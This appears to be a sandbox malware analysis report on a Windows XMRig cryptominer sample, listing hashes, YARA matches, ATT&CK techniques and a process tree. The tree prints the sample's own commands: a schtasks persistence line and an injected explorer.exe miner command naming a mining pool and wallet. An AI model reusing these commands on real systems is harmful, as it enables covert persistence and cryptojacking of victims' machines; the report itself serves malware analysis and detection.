xmrig | 14d3c310fd1196bc5ab98bdd88b5728390baf69dd8cb08b2ca61d5541a56d1ba

Analysis

max time kernel
138s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10/06/2024, 16:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

services64.exe
Size

29.7MB
MD5

8763342ef118090e562204d598fa5b99
SHA1

f13aa49036760f50e76596653bfabf52dc0dbb3d
SHA256

14d3c310fd1196bc5ab98bdd88b5728390baf69dd8cb08b2ca61d5541a56d1ba
SHA512

8da435feec499b441bceb2b8eb2579093de725a8feeda30f8d08c7987e21125d7b2e55aa1b4f43d3f5e275a585a15ed80ac5e0af608dfb930254278a98651085
SSDEEP

786432:vn3NqtzNjr+sYNyHpIEKwukQCIPCKk0SWBH9JSMFWjpAuhSvwrxkxe:YNNOsYwqEKOQj80SmHNEpAmx0

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral1/memory/3616-19-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/3616-17-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/3616-25-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/3616-24-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/3616-23-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/3616-21-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/3616-22-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2496	services64.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1444 set thread context of 3616	1444	conhost.exe	93

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1260	schtasks.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1444	conhost.exe
Token: SeLockMemoryPrivilege	3616	explorer.exe
Token: SeLockMemoryPrivilege	3616	explorer.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 2252 wrote to memory of 4172	2252	services64.exe	84
PID 2252 wrote to memory of 4172	2252	services64.exe	84
PID 2252 wrote to memory of 4172	2252	services64.exe	84
PID 4172 wrote to memory of 1992	4172	conhost.exe	85
PID 4172 wrote to memory of 1992	4172	conhost.exe	85
PID 1992 wrote to memory of 1260	1992	cmd.exe	87
PID 1992 wrote to memory of 1260	1992	cmd.exe	87
PID 4172 wrote to memory of 652	4172	conhost.exe	88
PID 4172 wrote to memory of 652	4172	conhost.exe	88
PID 652 wrote to memory of 2496	652	cmd.exe	90
PID 652 wrote to memory of 2496	652	cmd.exe	90
PID 2496 wrote to memory of 1444	2496	services64.exe	91
PID 2496 wrote to memory of 1444	2496	services64.exe	91
PID 2496 wrote to memory of 1444	2496	services64.exe	91
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93
PID 1444 wrote to memory of 3616	1444	conhost.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\services64.exe
"C:\Users\Admin\AppData\Local\Temp\services64.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4172
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1992
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      Creates scheduled task(s)
      PID:1260
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:652
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      C:\Users\Admin\AppData\Roaming\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2496
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1444
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=43aewbs3jpXRwUR4YLHFQmYkGMJAGWobkKCyHX43KwsfZrtc7fUMB2b67Z22rfCiro5hBsFcjYgMtj1F5oovnAUwMzonaHp --pass=x --cpu-max-threads-hint=20 --cinit-idle-wait=5 --cinit-idle-cpu=30 --nicehash
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
23867f73ff39fa0dfee6cfb5d3d176ab

SHA1
8705a09d38e5f0b034a6f4b4deb5817e312204e1

SHA256
f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88

SHA512
108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1

Download Submit
C:\Users\Admin\AppData\Roaming\services64.exe

Filesize
29.7MB

MD5
8763342ef118090e562204d598fa5b99

SHA1
f13aa49036760f50e76596653bfabf52dc0dbb3d

SHA256
14d3c310fd1196bc5ab98bdd88b5728390baf69dd8cb08b2ca61d5541a56d1ba

SHA512
8da435feec499b441bceb2b8eb2579093de725a8feeda30f8d08c7987e21125d7b2e55aa1b4f43d3f5e275a585a15ed80ac5e0af608dfb930254278a98651085

Download Submit
memory/3616-17-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3616-20-0x0000000002A80000-0x0000000002AA0000-memory.dmp

Filesize
128KB

Download
memory/3616-22-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3616-21-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3616-23-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3616-24-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3616-25-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3616-19-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4172-1-0x00007FFB43413000-0x00007FFB43415000-memory.dmp

Filesize
8KB

Download
memory/4172-3-0x00000240FFD10000-0x00000240FFD22000-memory.dmp

Filesize
72KB

Download
memory/4172-0-0x00000240FC440000-0x00000240FE1F6000-memory.dmp

Filesize
29.7MB

Download
memory/4172-2-0x000002409C400000-0x000002409E1B6000-memory.dmp

Filesize
29.7MB

Download
memory/4172-10-0x00007FFB43410000-0x00007FFB43ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4172-6-0x00007FFB43410000-0x00007FFB43ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4172-5-0x00007FFB43410000-0x00007FFB43ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4172-4-0x00000240FE540000-0x00000240FE54A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads